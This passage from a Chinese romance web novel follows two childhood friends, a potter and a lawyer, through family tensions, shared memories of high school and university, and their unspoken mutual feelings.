但父母有她们的局限,她们也是在自己环境成长起来的一代人,时代塑造人,不能要求她们完全按照子女意愿生活,做一个子女评分一百的机器人。
人都是刀尖朝里,冲最亲近的人轻易地释放情绪,所以家人之间才会争吵。
区别是有的家庭出发点是爱,有的争吵是互相怨恨,长年累月的恨意累积,满坑满谷,迁怒无辜稚童,闻山意从小到大经历的是后者。
她在姜家第一次见到争吵时,吓得躲进房间,刚刚和妈妈吵完架的叛逆期高中生姜青黛生气地摔上房门,见到闻山意抱着膝盖蜷在她房间床头柜和墙壁的夹角里。
她身量清瘦,宽大的校服裹着单薄的躯体,因为个子高,角落里空间十分局促,反倒给她一种安全感。
对上姜青黛困惑不解的视线,闻山意佯装镇定地从墙角出来,走到她身边,生疏地按了按她的肩膀。
十六岁的姜青黛欲言又止,不太确定。
比起自己,好像她更需要安慰。
二十八岁的姜青黛边洗水果边道:“你记不记得有一年我和我妈吵架,你害怕得躲在我房间。”
闻山意和她想到同一件事,故意装作没记起来:“什么?”
“不记得我给你描述一下。”
姜青黛大致说了经过,道:“你知道我当时进门,看到你坐在角落里抬起头,脑海里想了一句什么话吗?”
闻山意“嗯?”了一声。
姜青黛未语先笑,朱唇掀起:“我当时心想:妈妈,这个女的太好看了,我要和她做一辈子好朋友!!!”
闻山意:“………………”
她就不该相信姜青黛能憋出什么她爱听的。
不能说这话不好听,只是对她而言……还不够。
姜青黛仍在说:“你以前那模样,小脸儿雪白,嘴唇红红的,唇瓣轻轻地咬着血色,穿着一身清纯的校服,抬头看向我的那一幕,比电影还像电影,馋死我了。”
“真的,可惜当时我没带手机,给你拍下来。”
闻山意:“………………”
“洗完水果了吗?”
“洗完了,先喂你吃第一口。”
闻山意咬了一口送到嘴边的苹果,表皮是青色的,个头比富士小,姜青黛舅舅家果园种的,正宗青苹果,酸甜可口。
“怎么样好不好吃?知道你爱吃青苹果,你从北京回来以后,咱家的青苹果就没断过。”
姜家爸妈热心肠,姜青黛的热情一脉相承,十几年了闻山意偶尔还是招架不住,或者说无以为报所以接受得笨拙。
闻山意:“嗯。”
姜青黛早已习惯她口吻淡淡的表达,嗯就是喜欢,她喂闻山意吃了大半个苹果,最后一口留给了自己。
看女人红唇阖动,她口舌干燥,分泌津液,也馋了。
一口有点少,吃完还是口干,姜青黛干脆给自己倒了一杯水。
她腰肢抵着料理台的大理石边缘,边慢条斯理地喝水边等闻山意冲完最后一只碗。
厨房的灶台上放着一只不锈钢的保温饭盒,姜妈妈的声音自厨房门口乍然出现,语气仍有些生硬冰冷:“姜青黛去给你爸送一下饭。”
“听到了。”女儿以平静对冷酷。
姜青黛伸手去拿保温便当,闻山意抢在她前面拎起来,说:“我去吧,好久没见叔叔了。”
姜青黛:“车钥匙在鞋柜上。”
闻山意:“进门的时候看到了。”
姜妈妈也没有异议,温柔叮嘱她:“开慢点,路上小心。”
不见外并非把她当成座上宾供着,而是真正把她当成这个家的一份子,闻山意感到自在。
姜妈妈目光移到姜青黛脸上,温和可亲变成了面无表情,母女俩错开视线。
闻山意站在玄关一手车钥匙一手提保温盒,特意多停留了两分钟。
姜妈妈已经坐回了客厅继续看电视,姜青黛从厨房端出洗好的水果,放在妈妈面前。两人肩并肩坐着,姜青黛用肩膀晃过去,碰了一下对方的肩膀。
姜妈妈拿乔地坐远了十公分,姜青黛又贴过去。
姜妈妈这回不动了。
姜青黛:小小姜女士,拿捏。
姜青黛的手臂绕在她妈背后,圈起手指冲闻山意比了个得意的“OK”,闻山意眉眼一弯,推开大门走了出去。
楼下的公共停车棚里停了一辆白色“阿斯顿马丁”,闻山意放好保温饭盒,插上车钥匙,长腿点地,右拧把手,骑上爱玛迎风出了小区。
沙沙的风响着,满地的槐花。
姜青黛把客厅的窗户打开,看着小电驴上的白色身影七拐八拐慢慢远去,背影都透着轻快,衣衫鼓起,自由得像要飞起来。
姜青黛曾经问过她好几次,为什么要离开北京,回到连二线都只能算勉强的省会海陵。她只说北漂压力太大了,不想再一个人生活在他乡,但她说这话时姜青黛有种莫名的直觉。
她回来一定还有别的理由。
她猜测闻山意是分手了,回家疗情伤。虽然她没有亲口向她求证,因为姜青黛不想听,但她有百分之九十笃定。
总不可能是因为她吧?
姜青黛沿槐树往上,望了望晃眼的春日。天还亮着呢,不到做梦的时辰。<
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无论如何,回来的这一年多,闻山意肉眼可见的放松快乐,疗伤也好,治愈了也罢,现在陪在她身边的人是自己。
——以朋友的身份。
闻大律师骑着小电驴送饭去了,屋子里的母女局刚刚开始。
姜妈妈吃了女儿的苹果嘴软,能放下身段好好沟通了,姜青黛的语气也很温和。
“妈,你下回不要催闻山意的婚,也不要给她介绍相亲对象了。”
“那她爸妈又不管她,她的终身大事谁来操心?我把她当女儿才会和对你一样上心。”
“我替她谢谢你。”姜青黛不指望说服她妈,只道:“人家从大城市回来的,三十岁都算早婚,你不能拿咱这的眼光看她,你催她说不定她也心烦呢,只是不好和你说。”
姜妈妈果然听进去了:“她和你说了?”
姜青黛:“说了,她说她……不太喜欢。”
姜青黛面不改色地诓骗她妈,实际却为闻山意并未对此表达反感而心口泛酸。
姜妈妈:“哎,我好心办坏事了。”
姜青黛:“昨天你是不是给她发相亲对象照片了,让她加人家好友。”
姜妈妈:“你怎么知道?”
不等姜青黛回答,姜妈妈自问自答道:“肯定是她告诉你的,你俩好得跟亲姐妹似的。”
姜青黛嗯了一声。
要不是她给闻山意介绍对象,她昨晚也不会做那种梦。
姜妈妈:“那她加了没有?”
姜青黛:“我还没问,晚点问她。”
姜妈妈沉吟:“这男孩是海外留学回来的,优质男,也在海陵工作。妈就寻思,就算谈不成男朋友,交个朋友也好。小闻不是当律师吗,多个朋友多条人脉,到时候也能提供那个叫什么来着,案源。”
姜青黛无语:“妈,闻山意是干刑诉的,当事人不是杀人就是放火,真提供案源了您的脸上又挂不住。”
姜妈妈闻言倒是哈哈两声,爽快承认道:“妈错了,妈再也不说这话了。不过那男孩真挺不错的,岁岁不要的话,要不你见……”
姜青黛眉心跳动,说:“打住!我不想和你吵架。”
今天饭桌刚吵过,姜妈妈识趣地止住话头,一味地指挥姜青黛给她拿葡萄,调高了电视音量追剧。
姜青黛盘腿坐在闻山意上午坐的沙发位置,忽然说:“妈,我打算去海陵。”
“做什么?”
“工作。”
“那家里这个店呢?”
“你和爸继续开着,我有空也会回来盯一下。”
“好,看好店面了吗?”
“看了一段时间,快定下来了,租金挺合适的。”
姜青黛和妈妈一问一答,对话极其流畅地进行了下去,姜妈妈甚至一心二用,一边追剧一边应她。
姜青黛百思不解地拿过遥控,按了暂停。
“妈,你有没有听我具体在说什么?”
“我听到了,不就是要去海陵吗?”姜妈妈说,“又不是见不到面,高速才一个小时,遥控还我。”
“前两年你可不是这么说的。”
“那时候你要去的是北京,能一样吗?你要想在北京买房子,咱家家当全卖了也供不起首付,一想到你要吃那么多的苦,我和你爸就整宿整宿的睡不着觉。”
姜青黛膝行过去,抱住她妈妈的肩膀,脸蒙进她肩窝里。
姜妈妈顺着拍了拍她的手背,说:“自打岁岁回来以后啊,你的心就不在家里了。”
姜青黛眼圈还红着,在她颈窝里笑了一声坐起来。
“哪有?”
“还哪有?”姜妈妈瘪着嘴学她语气,说,“哪都有。”
“哈哈。”
姜妈妈拿回了遥控,暂时没继续看电视,扭头看着姜青黛说:“妈知道你们俩感情好,你从小黏她,现在你们还年轻,将来呢?你能黏她多久?”
姜青黛坚定地说:“一辈子。”
闻山意亲口和她说过:只要她不结婚,她也不会结婚。
姜妈妈无奈摇头。
似乎在对她说:你知道一辈子有多长吗?
姜青黛吐出心中酝酿过千百遍,明知悲哀却更切实际的答案:“到她不要我为止。”
5. 005
闻山意的家乡不在灵州市,她出生在另一座小城。
她的爸妈打官司离婚,在法庭上因为抚养权的事争执不下,彼此口出恶言,谁都不想要女儿。法庭尊重她个人的意愿,闻山意不想拖累妈妈以后的人生,所以主动选择跟了父亲。
高一那年,闻山意的爸爸找了个灵州市的女人结婚,举家搬到了这里,她由此转学,成为一名插班生,遇到了她一生中最重要的人——姜青黛。
她十六岁搬来新的城市,二十八岁仍然选择回到这里,因为一个人的存在,在她心目中早就成为她的故乡。
电瓶车行驶在树木葱郁的非机动车道,路边的一草一木都在诉说着熟悉的思念,吹面不寒的春风拂过她的发丝和脸颊,她轻轻地仰起了头颅,和缠绵的风拥抱在一起。
小电驴畅通无阻越过石墩,拐入机动车禁止通行的道路。灵州瓷驰名中外,作为陶瓷名都,市里有几座著名的陶瓷集市,旺季的时候作为旅游景点人来人往。
现在是淡季,又是白天,集市人流寥寥。闻山意远远地望见一间较大的门面,是打通了两间做成的,门口坐着一位戴黑框眼镜、清癯的中年男人,头顶上一块黑字牌匾:九鼎居陶瓷。
以前姜家的店面只有一间,在街对面的另一个位置,和其他小店并无不同。
面前的一切得益于姜青黛。
姜青黛从小爱玩泥巴,同龄人长大了,她依旧在玩泥巴,日复一日,终于有一天把它从爱好变成了可以养活自己的事业。
姜青黛大学学的工艺美术,陶瓷方向,毕业以后哪也没去,就扎根在灵州,经营店面,想着怎么让家里人过得更好。她看到传统瓷的困境,运用自己所学的知识和新的手艺眼光,慢慢地吸引了更多人的目光。
毕业两年后,姜青黛把对面更好的位置盘了下来。三年后,又盘下隔壁商铺,一间陈列华光内敛的传统瓷,另一间则是她手绘的更符合现代年轻人审美的新式瓷,创意作品。
她在陶瓷街已小有名气,老客都会美称一句姜老板。
口口相传,新客也源源不绝,回头率极高。
姜爸爸正在低头打包快递,对面捧着碗扒饭的店主看着走近的年轻身影,笑着吆喝了一声:“老江,你屋里女子来了。”
闻山意:“江叔叔。”
江师傅擦了擦额头的汗,抬头见是闻山意,露出和姜妈妈如出一辙的亲切笑容,爽朗地说:“我和你阿姨早上打赌,她说中午肯定是你来给我送饭,又叫你阿姨赢了。”
闻山意:“叔叔猜的什么?”
江师傅哈哈笑了,道:“我猜你和黛黛一块来。”
闻山意弯唇一笑。
“她本来是要来的。”
闻山意没说姜青黛和妈妈吵架的事,姜青黛不来也是平常,她们一家都在灵州市,虽说姜青黛搬出家住,但见面的机会多的是。
果然姜爸爸也没问,接过她手里的保温饭盒吃饭,闻山意坐下来继续他手头没做完的打包工作,贴快递。
他话少,闻山意恰好话也不多,亲生父女尚且很难坐下拉家常,更别提闻山意这个半途加入这个家的。
闻山意处理完活,进了姜青黛那间瓷器展室。
以手绘茶具、杯盏居多,摸上去釉色光滑,冰凉温润,几乎都是釉下彩,清新雅致。另有些不实用但小姑娘很喜欢的瓷器摆件,多用釉上彩,粉彩盎然,流光山色。
瓷器冰箱贴最近就很受欢迎,不是统一批发的工厂货,都是姜青黛亲手捏亲手画的,窑里烧出来,独一无二。
看似小,实则制坯施釉更费心神,姜青黛做这些并非只为了挣钱,更多是对制瓷的兴趣使然。
闻山意拍了一张天青釉双耳瓷瓶的冰箱贴发给姜青黛,釉色均匀柔润,上上品。
【想要这个】
姜青黛:【真会挑,上一窑完美的成品里只有这一件青釉】
姜青黛立刻又问:【你在店里???】
闻山意:【我不是来送饭的吗?你失忆了?】
姜青黛“正在输入”了一分钟,说:【没事,我在给我妈剥橘子,你随便拿】
姜青黛放下手机,陪姜女士看电视,心不在焉地频频望向息屏的手机。
看到也……应该没关系吧?
她们俩感情这么好,朋友之间不算太暧昧……吧?
应该?
闻山意的视线自面前的冰箱贴墙板移开,避无可避也是无法控制地将目光定格在悬在上方工作室的名称。
——晓山青手绘陶艺工作室。
十个字,她和姜青黛占两个字,手绘陶艺balabala的字更多更长。
也许就是姜青黛取名的时候顺口,没有多想,与她无关。
也许她想了,以她们俩的交情,怎么取闺蜜名都没关系,所以大大方方地用了。
姜青黛心怀坦荡,她在这胡思乱想。
她不应该自作多情。
可雀跃像是阳光落在眉梢上,一点一点地将她眼眸深处晦暗的光亮点燃,熠熠生光。
闻山意回头望了望门外背对自己的身影,举起手机对着工作室名偷偷拍了张照。
走时忍不住又多看了两眼,步履轻盈如飞。
*
下午姜妈妈睡过午觉,去了店里。
家里只剩下姜青黛和回来的闻山意,妈妈出门后,姜青黛更像出笼的鸟,无拘无束地将自己整个人挂在闻山意身上。
电视机的声音播着,姜青黛背对电视机,面对闻山意分.开腿跪坐在女人的大腿上。
闻山意:“……”
她今天穿裤子没穿长裙果然是正确的。
姜青黛:“好困。”
闻山意无动于衷:“好困你去房间睡觉。”
姜青黛:“
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不要嘛。”
她身体向前倒下来,软若无骨地投进闻山意怀里,一边脸颊枕在女人的肩胛。
姜青黛是土生土长的南方人,身量恰好也符合艺术生的刻板印象,个子修长,但骨架小,平日高挑的一个人,一旦团进怀里,便像塞进了一团软软的小动物。
女孩子身上哪里都是香香的。
她特别香。
闻山意任由她双脚圈住自己的腰,两只手搂住她的脖子,身体紧紧相贴。闻山意下巴微微后仰,恨不能和背后沙发的凹陷融为一体。
姜青黛在她怀里眯了一会儿,脸越贴越近,呼吸都在女人的颈窝里,均匀温热。
闻山意两只手扣着身下的沙发,偏头认命地闭上了眼睛。
——她要怎么相信姜青黛会对她有一样的心思?
耳颈的温度远离,姜青黛恢复和她面对面的姿势,低头瞄上了她的手,骨节如玉竹修长。
姜青黛把手覆在女人的手背之上,牵起来,轻巧地按进沙发里,十指相扣地压在她脑袋两侧。
她的眼里全是好奇,没有暧昧。
闻山意:“……”
她早知道会有这一刻,姜青黛高中时和她坐过一段时间同桌。众所周知,同桌就是用来玩的,尤其当她们是一对同性好朋友。
闻山意的手生得漂亮,骨节纤长,堪比美玉。除了写字答题以外,一双手很少有完全属于自己的时候。
姜青黛在课桌的掩饰下拉着她的手按在自己校服裤子的大腿上,上课玩下课玩,课间还要拉着她一起去上厕所,形影不离。
闻山意手凉,到冬天格外明显,姜青黛去她家等她一起上学,路上闻山意把手塞进她羽绒服的口袋里。
三只口袋里揣了四只手,瞧不见的黑暗里两只手亲昵地十指相扣。
只是那时闻山意还不懂。
不懂一次一次牵紧时,自己心跳的温度。
现在她早已不是十七岁那个懵懂的女生,姜青黛仍然停留在十七岁,最真挚无私的友情。
她能给她的也只有这些了。
所以闻山意按捺住自己再一次井喷的剧烈心动,平静地回视姜青黛偏头探究打量的视线。
几秒后,闻山意败下阵来。
算了,她又何必为难自己。
藏不住就换个方式藏,无法故作坦荡就选择逃避。
她已经逃了这么多年,最擅长的就是躲起来,隐藏爱意。
于是她认输地垂下了眼帘,睫羽低垂轻颤。
放任自己的情绪和妄念在遮掩的目光底下肆意流淌。
抵抗的力道忽然变得顺从。
姜青黛扣着她纤细的两节手腕,低头瞧着她长睫微垂,乖觉忍受的模样,连耳后的皮肤都微微泛红。
她无端生出一个荒唐的念头。
——这样的闻山意很适合被吻,再弄得凌乱一点。
6. 006
姜青黛目光移到女人的鼻尖,微微泛粉。
在落到唇瓣之前,紧接着涌起第二个念头。
——她的前男友是不是这样吻过她?
姜青黛并非漫无目的地大吃飞醋,而是将她惹人怜爱的神情尽收眼底时,不由自主地幻想她恋爱时是什么模样。
大约就是如今这样,收起所有的锋芒,柔弱可欺的样子。
世上的人都有很多面,多可惜,她永远见不到沉溺在爱情里,闻山意的那一面。
她知道有一个人可以,可那个人不会是她。
她和她再亲近,再无间,也只能做她的朋友,不能成为她的……
姜青黛松开了扣住她五指的手。
指间的力道骤然消失,闻山意第一时间收回了自己的手,拇指擦过食指被摩挲过的指节。
收在背后微微握紧。
身前的体温却并未远离,姜青黛又欺了过来,偎进她怀里,整个人颓唐下来。
姜青黛一丝力气也不使,唯一支撑她的就是和闻山意肩膀相连的下巴。
慢慢往下滑,到细腻锁骨。
闻山意担心她会滑到自己胸口埋进去,更难以忍耐,于是伸出双手兜住女人的腰,阻止她的去势。
过了会儿,闻山意后仰偏头,温和地问:“玩累了吗?”
姜青黛:“你是不是不爱我了?”
闻山意:“…………”
闻山意:“不是。”
姜青黛顿了一刻,又问:“那你会不会有一天不爱我?”
闻山意:“……”
姜青黛:“你怎么不说话?”
闻山意无奈回答:“不会。”
姜青黛得寸进尺:“那你说爱我。”
闻山意把她从自己腿上抱下来,淡声说:“你挡住我看电视了。”
她连借口都找得毫无诚意,姜青黛却没有再死缠烂打,而是乖乖坐在她旁边,也不说困要回房睡觉了。
上一次闻山意亲口对她说爱她还是念大学时。
那时候闻山意刚去了北京读法律,姜青黛则在灵州本地读大学。两个小姑娘在家里如胶似漆,甫一分开彼此都不习惯,除了每天在Q.Q上聊天,有空还要煲电话粥。
闻山意晚上要上自习,周末白天有家教兼职,打电话时间固定在每周末晚。
姜青黛盼星星盼月亮,过了周末就想下一个周末。
当天她必定早早地在食堂吃完晚饭,推掉一切安排,坐在寝室床上等电话。
手机铃声一响,她以迅雷不及掩耳之势下床冲出宿舍,室友们面面相觑,门口连一道残影都没留下。
姜青黛躲到楼道安静的地方打电话。
宿舍楼一共六层,前三层太低太吵,后三层是绝佳处,但偶尔会被煲电话粥的小情侣霸占,姜青黛有时要爬到顶楼才会有空位。
十八岁的姜青黛还和闻山意吐槽:“大学谈恋爱的人比高中多多了,到处都是美女和野兽。”
闻山意说:“你也想谈恋爱了吗?”
姜青黛:“我才不谈!”
闻山意很轻地笑了一声。
姜青黛又说:“我们班一个帅哥都没有。”美女倒是有不少,虽然都没闻山意长得好看。
闻山意:“……嗯。”
姜青黛:“你们班有吗?学法律的应该是女生多一点吧。”
闻山意:“没有。”
姜青黛:“你知道吗?以前觉得高中男生幼稚傻×,至少有几个能看的,上了大学反而丑男越来越多,连外表看得上眼的都没几……”
闻山意突然:“你晚上吃的什么?”
姜青黛的话题立刻跑偏,说:“吃的火腿刀削面,可好吃啦我跟你说。我今天吃面的时候想起你了。”
“想起我什么?”
“一想到这么好吃的面你不能和我一起吃,我就好难过。”
“……”
“是真的,我还掉眼泪了,差点都落进碗里。”
闻山意不知道怎么回应,一时间也觉得心脏禁锢得厉害。
她有点后悔离姜青黛那么远了。
姜青黛吸了吸鼻子,说:“幸好我很坚强,缓一缓就过来了,你什么时候回来啊?我好想你。”
闻山意的课表刚走到四分之一,大一上学期只过了一个月,加上军训她们已经两个月没有见面了。
一个高中最长的暑假不过如此。
闻山意的国庆安排了小孩家教,愧疚地说:“寒假吧。”
姜青黛早有预料,仿佛就是为了应她这句话似的,飞扬地脱口而出:“那我去找你啊!”
“……”
接下来便是姜青黛的第一个国庆计划,侃侃而谈,果然是早有预谋。
“……”
闻山意面带笑意听着,偶尔开口将自己的详细日程告诉她,调整行程。
姜青黛把底下两层楼的小情侣都熬走了,仍毫无所觉,直到自己忍不住打了个哈欠。
闻山意:“困了?”
姜青黛拿下手机瞧了眼时间,已经快十二点了,周末熄灯时间比平时晚一个小时。
她说:“还有三分钟熄灯。”
闻山意体贴温柔地回:“困了就去睡吧,明天见晚安。”
姜青黛握着手机,不知道为什么很想听那句话,可能大学恋爱的人太多了,她耳濡目染,怀里揣的兔子也上蹿下跳。
姜青黛:“那个……”
她面向墙壁,脚尖抵着墙沿,有一下没一下地踌躇。
闻山意:“嗯?”
姜青黛:“你爱不爱我?”
闻山意缓了一秒,笑着回答她:“爱你。”
是朋友之间的,轻松毫无负担的口吻。
姜青黛感到不满足:“说你爱我。”
闻山意没有沉默更长的时间,立刻说:“我爱你。”
姜青黛开心地回她:“我也爱你。”
在她们没有完全认识到爱的时间里,“爱”是很容易出口的词。嘴唇上下一碰,爱肆意倾泻出来,漫过心脏,无边无际。
于是几乎每次电话的结尾,姜青黛都会甜腻腻地问一遍,你爱不爱我。
闻山意每一次都会给她确定的答案。
有一次姜青黛或许是忘了,或许是故意没问,电话将要挂断,彼此互道过晚安。
回寝室的路上,姜青黛举着手机贴在耳边,听见对面的呼吸声蓦地轻了,耳边传来一声低柔认真的:“我爱你,青黛。”
电话断了。
姜青黛忽然腿软得走不动,又像是飘在云上。她靠在了隔壁宿舍的走廊外墙,全身的血液后知后觉地涌到脸
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上,抬手盖住了自己的眼睛。
啊啊啊啊啊啊。
她们没有想过对方是不是和自己一样的两心相照,连自己的心意都不甚清楚,却同时陷入这份甜蜜盲目的暧昧里几乎无法自拔。
仿佛正午阳光晒在心间,树缝里投下的灿烈,盛夏蝉鸣,那是只有初恋才有的悸动。
距离延续了这份青春的心悸,使得它始终朦胧而意外美好。
是哪一天改变了的呢?
姜青黛确切的记得是大三上学期,闻山意不远千里来学校找自己玩,回去之后没多久,她就再也不回应这个问题。
姜青黛惴惴不安,怀疑她谈了男朋友,悄悄杀到北京“捉奸”。
她别有用心地贴了闻山意三天,没有发现她和任何男同学有过密的交往。姜青黛请她们全宿舍吃饭,饭桌上借机问了闻山意的室友,室友也说她没谈恋爱。
但是闻山意就是再也不对她说“我爱你”了。
没有缘由地斩断了这段无疾而终的暧昧。
一直到今天。
姜青黛呆呆地坐在她身边,脑子里想了很多,又似乎什么都没想的放空,心中怅然若失。
闻山意从后面戳了戳她的腰,示意她看亮屏的手机。
[你收到了一条微信消息]
姜青黛看着闻山意清雅如花的侧脸,花了两秒才移开,低头打开微信。
闻山意:【爱你】
什么嘛。
文字版的。
姜青黛撇嘴。
闻山意:【^_^】
“我去房间睡会儿。”姜青黛息屏揣好手机,自若地将一只手装进衣兜,长身立在她面前。
闻山意仰头看她笑:“去吧。”
姜青黛沉稳地嗯了一声,低过头了,低得有些沙哑,她又清了下嗓子。
卧室的房门被轻巧带上。
姜青黛回到自己的房间,迫不及待一长条摊开在自己的大床上,双手举着手机,眉梢带笑,把那条文字郑重地点击了收藏。
爱你爱你爱你。
她将脸陷进柔软的枕头,耳朵和脖子粉红。
就算重拾的暧昧只是短暂的幻梦,她也愿意永远沉溺其中,直到美梦不得不醒的那刻。
埋在枕头里的唇边弧度凝滞了一瞬,慢慢被苦涩取代。
*
客厅的闻山意将电视机的音量调到最低。
她靠坐在沙发里,目视正前方,长腿交叠,仿佛毫无触动。
她的身体被她细细地触碰过,衣服发丝上沾染着对方熟悉的幽香,游离在鼻尖没走。
像一个虚无的拥抱。
闻山意长久地坐着,最终轻轻地闭了一下眼睛。
姜青黛出来时闻山意已经蜷在沙发睡着了,就睡在她上午睡过的位置。
女人侧脸看过去睫毛很长,皮肤白得和普通人不在一个维度,姜青黛的眼睛望向她时自带电影滤镜,屋里的光线都经过后期处理,落在她脸颊的一毫一厘都精致得恰到好处。
光洁的额头、优越的眉弓,一笔自眉间划下尾端微翘的鼻尖,微张的红唇。
光和影构建出一幅造物主才敢执笔的画卷。
姜青黛打开相机。
她看着手机里多出来的几张睡颜照片,将其中一张——设置成了锁屏壁纸。
7. 007
上高中的时候,同学们私下都说闻山意长了一张初恋脸。转校生刚来班上那天,姜青黛回乡下老家参加一个太爷爷辈的老人葬礼,恰好她请假不在学校。
同班的好朋友激动得给她连发几条Q.Q:【咱班新来了个同学,长得像XXX!!!】
XXX是一个火遍大江南北的女明星,以清纯初恋的荧幕形象出名,长得又无可挑剔,无数男男女女都在家贴她的海报。
姜青黛房间就有一张女明星十八岁的海报。
姜青黛隔天回到学校,巧了,闻山意又请假了,听说是家里有事。
属于是错峰请假了。
作为班里的宣传委员,姜青黛粉笔头功夫了得,一向是班级出板报的中坚力量。板报半个月一换,姜青黛吃完午饭早来班级一小时,把后面的黑板擦了,重新画板报。
陆续到校的同学们放下书包,三三两两从她身后打闹过去,或者默默趴在课桌上趁着上课前珍贵的时间抓紧补觉。
安静的教室逐渐变得嘈杂喧闹起来。
离上课还有二十分钟,姜青黛望着教室后面黑板上画了一半的刻凤纹龙首提梁壶,聚精会神地赶工,彩色粉笔的寿数走到了尽头,姜青黛的指甲不慎刮到了黑板。
鸡皮疙瘩和声音一起刮过皮肤心脏,姜青黛激灵一下,心神因此回过来,低头取新的青色粉笔,顺便回头看了眼班级门口。
一个穿着校服的长发女生走进来。
清瘦高挑,皮肤白净。
这不是从她的脸看出来,因为她的视线不与班级持平,而是微微低垂着脑袋。
姜青黛站在凳子上,居高临下,远远只能看到她墨发后小巧粉嫩的耳朵,雪白里透着自然的浅粉。
耳朵往下的校服领口里,藏着一段修长如玉的雪色颈项。
她很瘦,本就宽大的校服显得愈发不合身,空空荡荡地包裹着单薄的身体。
她一进教室,班级里打闹的人也停顿了几秒,紧接着纷纷移开视线,没人和她打招呼。一向友好的同学们,对新来的插班生态度有些反常。
不久后姜青黛才知道,原来闻山意刚转学过来,就遭到了校园霸凌。罪魁祸首不是她们班的,但同学们趋利避害,自动选择了疏远她。
而闻山意话少沉默,除了埋头学习,从不主动交朋友,连个一起上厕所的都没有。
大家默契地对她敬而远之,无形中孤立了对方。
好在这种被孤立的境遇并未持续太久,此为后话暂且不提。
那是闻山意第一次出现在姜青黛的视野,抱着对新同学的好奇和“长得像XXX”的期待,姜青黛的目光追着她,一直到她进入座位。
闻山意坐在教室的最后一排,姜青黛刚好在教室后方的黑板出板报。
姜青黛眼睁睁看着她越走越近,能看到她扎的黑色马尾了,能看到她白皙的额头了,她的鼻尖一点,午后汗珠晶莹。
比常人更薄更淡的唇。
闻山意把书包搁在桌面,手搭在课桌边缘,停下来看了眼在她三步以内的高处的“巨人”。
一泓秋水映入姜青黛的眼帘。
她望进那双江南烟雨说不尽的眼神里,那桥边弯垂的杨柳映得水波荡漾。
姜青黛捏断了一根新粉笔。
粉笔的前半段从她手边跌落,姜青黛捞了下没捞到,刚好掉在闻山意的脚边。
“不好意思。”姜青黛把剩下的半截粉笔塞进粉笔盒,匆匆要下凳。
罩着宽大校服的清瘦女生弯腰,伸出一只骨节比旁人更纤细的手,捡起了鞋边的半支粉笔。
她仰起脸颊,递给姜青黛,没有说话。
教室里午后的光线斜斜地错落在她脸上,女生眉骨鼻梁的光影像是电影特写镜头。
姜青黛:“谢谢。”
闻山意没开口地点了下头,坐到自己的座位里翻开书本。
姜青黛盯着她的后脑勺,还有脖子后面的一颗不起眼的小痣。
闻山意把校服拉链拉上来,挡住了身后窥探的视线。
姜青黛:“……”
离谱,自己怎么会一直盯着新来的女同学瞧?我又不是变态!
她当然不是变态,很多年以后,她想要给自己这段不知所起的感情找一段来路,总会回忆起她们第一次见面的那天。
她未必是那一天喜欢上闻山意的,但无疑从那一天起,她就把闻山意悄悄放进了她的眼里、心里。
一放就是十二年。
……
沙发上的闻山意盖上了一条毯子。
姜青黛盘腿坐在客厅另一角的地上,翻看手机里刚拍的照片。
指尖一张一张地滑过去,放大看她脸上的细节,从眼睛到鼻梁,到嘴唇。
在唇瓣处极快地掠过,到了下巴,颈项,悄悄又往回拉到嘴唇,只看一眼立马关闭手机锁屏。
姜青黛深呼吸,平复自己乱七八糟的念头。
姜青黛和闻山意的关系太亲密了,亲近到只要她愿意幻想,时时都有幻想的机会,甚至有行动的可能。
——闻山意现在睡着了,她偷亲她一下,对方未必会察觉。
这是很正常的心理活动。
幻想多了,早晚会实践,这层玻璃就会被捅破。
姜青黛不想破坏她们现在的关系,她只想长长久久地陪伴在闻山意身边。
是友情的也可以。
她绝不贪心。
所以姜青黛对待闻山意的方针就是禁欲。
她本来就生长在小城,整个社会环境偏向传统,即使有网络,接触不到花花世界,对姜青黛的影响有限,她现实连真正的女同性恋都没有见过。
姜青黛醉心陶瓷,除了制瓷就是开店,思绪杂念极少,偶尔心潮起伏也能很快地平静下来。
平时不去想,就不会有冲动。
她就不会在闻山意面前露馅。
姜青黛的呼吸变得分外平静,她起身拉好客厅窗帘的缝隙,在沙发前停留了一会儿,靠着茶几坐下,就近观察女人的睡颜,目光集中在鼻梁往上,嘴唇往下的地方。
闻山意阖动了一下唇瓣。
她的眉头也微微蹙起。
她梦见了高中的事。
闻山意转学到灵州二中是高一上学期。虽然她中考成绩足以升入灵州市最好的高中——灵州一中,但是因为开学已经一个多月,她只能转入二中插班就读。
一中纪律严明,采取“衡中”模式,封闭式教学。二中因为走读生居多,校风自由烂漫,生机勃勃,点歌台经常出现时兴的流行歌曲,而不是条条框框的励志歌、感恩曲。
闻山意第一天进班,在班主任的带领下,站在讲台上三言两语简单介绍了自己。
“闻山意,谢谢大家。”
她鞠躬挺身,黑板上的粉笔字和她的人一样干净整洁。
班主任老曹说:“期中考试后要调整全班座位,闻同学,你先坐在后面那个空位吧。”
闻山意的目光落在教室里仅剩的两个空座位,朝靠窗的第四
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排走去。
曹老师见她准备放下书包,赶忙说:“那是姜青黛同学的座位,她请假了。”
闻山意:“好的老师。”
继续往后走。
她听到的新学校第一个同学的名字就是姜青黛,那时她没有放在心上。
闻山意在的两天姜青黛不在,姜青黛回来闻山意又请假了。将近一周后,闻山意才见到她第一个认识却最后一个见到的同班同学。
姜青黛。
听起来像一个画画很好的女生。
古代作画的珍贵颜料多采用矿石,青色出于蓝铜矿,深者如青黛,以画山为最佳。
离上课还有二十分钟,闻山意在中午走进教室,一眼便瞧见教室最后站在凳子上出板报的女生,全班最高海拔。
半截粉笔掉在了闻山意的脚边,她顺手捡了起来。
姜青黛接过,紧张地说:“谢谢。”
闻山意点了下头,坐回自己的座位里。
上课铃响了,第四排的空座也补齐了,一道黑蓝校服的长发马尾背影面对着她。
闻山意回头瞧了眼黑板报上完工的画,刻凤纹龙,在壶面栩栩如生,竟然真的是个很会画画的女生。
一期板报要出两三天,姜青黛一般利用下午放学后、晚自习之前的时间。
闻山意和她熟了以后,经常陪她在安静的教室出板报,她做作业,偶尔踩在另一张凳子上,用粉笔替她的画配文字。
有时姜青黛在预留的空间画,她钻进对方的身子底下,站在地上写字。
“你也不怕有粉笔灰。”姜青黛用手臂替她挡了一下。
闻山意听见她说话,便仰起脸看她,刚好粉笔灰落进眼睛里,她嗯唔了一声退后,手扶在课桌边缘,另一只手捂住眼睛。
姜青黛从凳子上跳下来,托起她的脸说:“别揉,让我看看。”
闻山意只能眯着眼瞧她,红红的眼角沁出了泪。
“让你不要在下面吧。”
姜青黛一边数落她,一边动作轻柔地给她吹眼睛。
和当年现实不一样的是,梦里的姜青黛柔柔地对着她吹了许久,出去吃饭的同学们迟迟没有回来。
